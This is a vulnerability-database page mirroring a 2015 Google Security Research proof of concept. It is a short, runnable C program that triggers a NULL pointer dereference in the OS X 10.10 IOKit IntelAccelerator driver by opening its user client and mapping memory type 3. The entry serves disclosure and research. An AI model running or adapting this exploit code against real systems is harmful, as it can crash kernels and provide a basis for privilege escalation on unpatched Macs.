Lucene search
K

OS X 10.10 IOKit IntelAccelerator NULL Pointer Dereference

🗓️ 21 Jan 2015 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

OS X 10.10 IOKit IntelAccelerator NULL Pointer Dereferenc

Code
`#include <fcntl.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
  
#include <IOKit/IOKitLib.h>  
  
int main(){  
kern_return_t err;  
  
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");  
if(!matching){  
printf("unable to create service matching dictionary\n");  
return 0;  
}  
  
io_iterator_t iterator;  
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);  
if (err != KERN_SUCCESS){  
printf("no matches\n");  
return 0;  
}  
  
io_service_t service = IOIteratorNext(iterator);  
  
if (service == IO_OBJECT_NULL){  
printf("unable to find service\n");  
return 0;  
}  
printf("got service: %x\n", service);  
  
io_connect_t conn = MACH_PORT_NULL;  
err = IOServiceOpen(service, mach_task_self(), 2, &conn);  
if (err != KERN_SUCCESS){  
printf("unable to get user client connection\n");  
return 0;  
}else{  
printf("got userclient connection: %x\n", conn);  
}  
  
mach_vm_address_t addr = 0x414100000000;  
mach_vm_size_t size = 0x1000;  
  
err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere);  
return 0;  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jan 2015 00:00Current
1Low risk
Vulners AI Score1
16